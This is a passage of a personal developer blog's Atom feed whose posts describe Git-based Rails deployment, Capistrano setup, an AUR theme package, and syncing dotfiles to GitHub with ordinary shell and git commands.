<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-831109803934287386</id><updated>2012-01-08T22:38:16.290-08:00</updated><title type='text'>Benjamín Orozco</title><subtitle type='html'>Oh, who's being naive, Kay?</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.benoror.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>20</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-5087580778094487953</id><published>2011-11-18T22:37:00.000-08:00</published><updated>2012-01-08T22:38:16.299-08:00</updated><title type='text'>Using space wisely</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://1.gvt0.com/vi/Lg9qnWg9kak/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Lg9qnWg9kak&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/Lg9qnWg9kak&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-5087580778094487953?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/5087580778094487953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/5087580778094487953'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2012/01/using-space-wisely.html' title='Using space wisely'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-7158954507426870189</id><published>2011-04-08T12:58:00.001-07:00</published><updated>2011-12-28T16:47:35.154-08:00</updated><title type='text'>Clever use of Dropbox + GIT</title><content type='html'>Clever use of Dropbox + GIT: &lt;a href="http://pivotallabs.com/users/ken/blog/articles/1637-dropbox-git-designer-luv"&gt;http://pivotallabs.com/users/ken/blog/articles/1637-dropbox-git-designer-luv&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-7158954507426870189?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/7158954507426870189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/7158954507426870189'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2011/04/clever-use-of-dropbox-git.html' title='Clever use of Dropbox + GIT'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-6751585784788359835</id><published>2011-04-07T19:40:00.000-07:00</published><updated>2011-12-28T16:49:01.717-08:00</updated><title type='text'>Capistrano: Managing an uploads folder</title><content type='html'>I just found a useful Capistrano recipe for keeping user generated content (a.k.a. uploads) persistent between deployments:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.simonecarletti.com/blog/2009/02/capistrano-uploads-folder/"&gt;http://www.simonecarletti.com/blog/2009/02/capistrano-uploads-folder/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;EDIT: I would like to extend the script to many folders. Any idea?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-6751585784788359835?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/6751585784788359835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/6751585784788359835'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2011/04/capistrano-managing-uploads-folder.html' title='Capistrano: Managing an uploads folder'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-5976498534961555033</id><published>2011-03-02T19:17:00.000-08:00</published><updated>2011-12-28T16:49:17.655-08:00</updated><title type='text'>Capistrano as my default deployment tool</title><content type='html'>In the last post (a whiiile ago) I described my Git workflow to deploy my production server. One of the drawbacks was that everytime I pushed changes to the main repo I had to manually log in my Dreamhost shared host via SSH and then: 1) pull changes, 2) migrate database schema, 3) rebuild sphinx index, 4) restart passenger server. I wrote a bash script to get the job done, but it was prone to errors and not elegant, so I decided to give &lt;a href="https://github.com/capistrano/capistrano/wiki/"&gt;Capistrano &lt;/a&gt;a try.&lt;br /&gt;&lt;br /&gt;After reading the&amp;nbsp;&lt;a href="https://github.com/capistrano/capistrano/wiki/2.x-Getting-Started"&gt;Getting Started&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href="https://github.com/capistrano/capistrano/wiki/2.x-From-The-Beginning"&gt;From the Beginning&lt;/a&gt;&amp;nbsp;guides I got a good idea of what to do next.&amp;nbsp;Basically my setup is as follows:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;File:&amp;nbsp;benoror@macmini:~/simpleapp/Capfile&lt;/b&gt;&lt;br /&gt;&lt;script src="https://gist.github.com/852283.js?file=Capfile"&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;File:&amp;nbsp;benoror@macmini:~/simpleapp/config/deploy.rb&lt;/b&gt;&lt;br /&gt;&lt;script src="https://gist.github.com/852286.js?file=deploy.rb"&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;So now when I make changes to the code I simply follow this workflow in my local machine:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;git add . &amp;amp;&amp;amp; git commit -a -m "Commit Msg" &amp;amp;&amp;amp; git push&lt;/li&gt;&lt;li&gt;&lt;b&gt;cap deploy&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;cap deploy:migrate&lt;/b&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;That's it!&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The next step is to setup a staging server, until then see you soon ...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-5976498534961555033?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/5976498534961555033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/5976498534961555033'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2011/03/learning-capistrano-as-my-default.html' title='Capistrano as my default deployment tool'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-6697693953764804462</id><published>2010-06-10T12:12:00.000-07:00</published><updated>2011-12-28T16:49:17.661-08:00</updated><title type='text'>Using Git in Rails production server workflow</title><content type='html'>&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;In my projects I use Git as part of the deployment process. When I'm developing a new app and it's ready for production first I setup a non-bare repo in the Rails project itself:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;benoror@macmini:~/simpleapp $ git init&lt;br /&gt;benoror@macmini:~/simpleapp $ git add .&lt;br /&gt;benoror@macmini:~/simpleapp $ git commit -a -m "First commit"&lt;/span&gt;&lt;/blockquote&gt;Then I just zip and copy the project to the production server. After extract it I clone it as a bare repo:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;benoror@dreamhost:~ $ git clone --bare simpleapp simpleapp.git&lt;/span&gt;&lt;/blockquote&gt;This bare repo will act as the main repo (who said central?). Then I just add a remote origin in my computer:&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;benoror@macmini:~/simpleapp $ git remote add origin ssh://benoror@production.com/~/simpleapp.git&lt;/span&gt;&lt;/blockquote&gt;I assume you already copied your SSH keys and credentials. The workflow is as follows:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:verdana;"&gt;1. When I make changes in my computer just commit and push:&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;benoror@macmini:~/simpleapp $ git push origin master&lt;/span&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;2. Then I log into my production server and pull changes in the non-bare repo:&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;benoror@macmini:~/simpleapp $ ssh production.com&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;&lt;br /&gt;benoror@dreamhost:~ $ cd simpleapp &lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;&lt;br /&gt;benoror@dreamhost:~/simpleapp $ git &lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;pull&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;3. I have automatized the deployment process with a script that pull changes, restart Passenger, migrate db in case of schema has changed and finally re-index Sphinx.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;:wq&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-6697693953764804462?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/6697693953764804462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/6697693953764804462'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2010/06/using-git-in-production-rails-server.html' title='Using Git in Rails production server workflow'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-5589420869283033658</id><published>2010-02-23T21:23:00.000-08:00</published><updated>2011-12-28T16:49:17.647-08:00</updated><title type='text'>Elementary-Mod AUR Package</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i.imgur.com/Ve41R.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 90px; height: 90px;" src="http://i.imgur.com/Ve41Rs.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;I just uploaded a &lt;a href="http://aur.archlinux.org/packages.php?ID=34997"&gt;PKGBUILD&lt;/a&gt; for this great GTK theme to &lt;a href="http://aur.archlinux.org/"&gt;AUR&lt;/a&gt;.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;*It only works with patched package &lt;a href="http://aur.archlinux.org/packages.php?ID=33749"&gt;nautilus-elementary&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-5589420869283033658?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/5589420869283033658'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/5589420869283033658'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2010/02/elementary-mod-aur-package.html' title='Elementary-Mod AUR Package'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-8472359293670262629</id><published>2009-09-01T10:15:00.000-07:00</published><updated>2011-12-28T16:50:29.613-08:00</updated><title type='text'>Sync your dotfiles with GitHub</title><content type='html'>I'm tired of trying to keep my config files homogeneous between my linux-notebook and my mac mini, so I decided to store them in 'the cloud'. I chose &lt;a href="http://github.com/"&gt;GitHub &lt;/a&gt;because I'm learning Git and it has a neat web interface.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;Step 1&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;i&gt;Create dotfiles dir in my linux notebook, as the most recent configs reside there&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;benoror@gateway:~$ mkdir ~/dotfiles&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;benoror@gateway:~$ mkdir ~/dotfiles&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;benoror@gateway:~$ mv .bashrc ~/dotfiles/&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;benoror@gateway:~$ mv .vimrc ~/dotfiles/&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;benoror@gateway:~$ mv .vim ~/dotfiles/&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;(... ... ...)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;benoror@gateway:~$ mv .ssh ~/dotfiles/&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;Step 2&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;i&gt;Link those files back to my home dir&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;blockquote&gt;benoror@gateway:~$ ls -Ad /dotfiles/ | xargs -I _ ln -s _&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;Step 3&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;i&gt;Create a neat readme file and make git ignore those sensitive files!&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;benoror@gateway:~/dotfiles/$ echo "Welcome to my public dotfiles" &gt; README&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;benoror@gateway:~/dotfiles/$ echo ".secret" &gt;&gt; .gitignore&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-family:'courier new';font-size:100%;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;(...)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;benoror@gateway:~/dotfiles/$ echo ".ssh/*" &gt;&gt; .gitignore&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;Step 4&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://git-scm.com/download"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;i&gt;Download Git&lt;/i&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;i&gt; and confiigure it&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: helvetica; font-size: 13px; line-height: 18px; "&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 115%/normal Monaco, 'Courier New', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace; line-height: 1.4em; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="line-height: normal; white-space: normal; "&gt;benoror@gateway:~/dotfiles/$ &lt;/span&gt;git config --global user.name "Benji Orozco" &lt;span class="Apple-style-span" style="line-height: normal; white-space: normal; "&gt;benoror@gateway:~/dotfiles/$ &lt;/span&gt;git config --global user.email benoror@gmail.com&lt;/blockquote&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;Step 5&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;i&gt;Sign-up at &lt;a href="http://github.com"&gt;GitHub&lt;/a&gt;, and create a repo called 'dotfiles'. Follow the instructions to include your dsa-key, it's straight forward. Then create the repo locally and push it to your github:&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-family:Monaco;font-size:130%;"&gt;&lt;span class="Apple-style-span" style="font-size: 15px; line-height: 20px; white-space: pre;"&gt;&lt;span class="Apple-style-span"   style="font-family:Georgia;font-size:130%;"&gt;&lt;span class="Apple-style-span" style="font-size: 16px; line-height: normal; white-space: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: helvetica; font-size: 13px; line-height: 18px; "&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 115%/normal Monaco, 'Courier New', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace; line-height: 1.4em; "&gt;&lt;span class="Apple-style-span" style="line-height: normal; white-space: normal; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;blockquote&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 115%/normal Monaco, 'Courier New', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace; line-height: 1.4em; "&gt;&lt;span class="Apple-style-span" style="line-height: normal; white-space: normal; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;benoror@gateway:~/dotfiles/$ &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;git init &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: normal; white-space: normal; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;benoror@gateway:~/dotfiles/$ &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;git add .&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 115%/normal Monaco, 'Courier New', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace; line-height: 1.4em; "&gt;&lt;span class="Apple-style-span" style="line-height: normal; white-space: normal; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;benoror@gateway:~/dotfiles/$ git status&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 115%/normal Monaco, 'Courier New', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace; line-height: 1.4em; "&gt;&lt;span class="Apple-style-span" style="line-height: normal; white-space: normal; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;benoror@gateway:~/dotfiles/$ &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;git commit -a -m 'first commit'&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 115%/normal Monaco, 'Courier New', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace; line-height: 1.4em; "&gt;&lt;span class="Apple-style-span" style="line-height: normal; white-space: normal; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;benoror@gateway:~/dotfiles/$ &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;git remote add origin git@github.com:benoror/dotfiles.git &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: normal; white-space: normal; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;benoror@gateway:~/dotfiles/$ &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;git push origin master&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 115%/normal Monaco, 'Courier New', 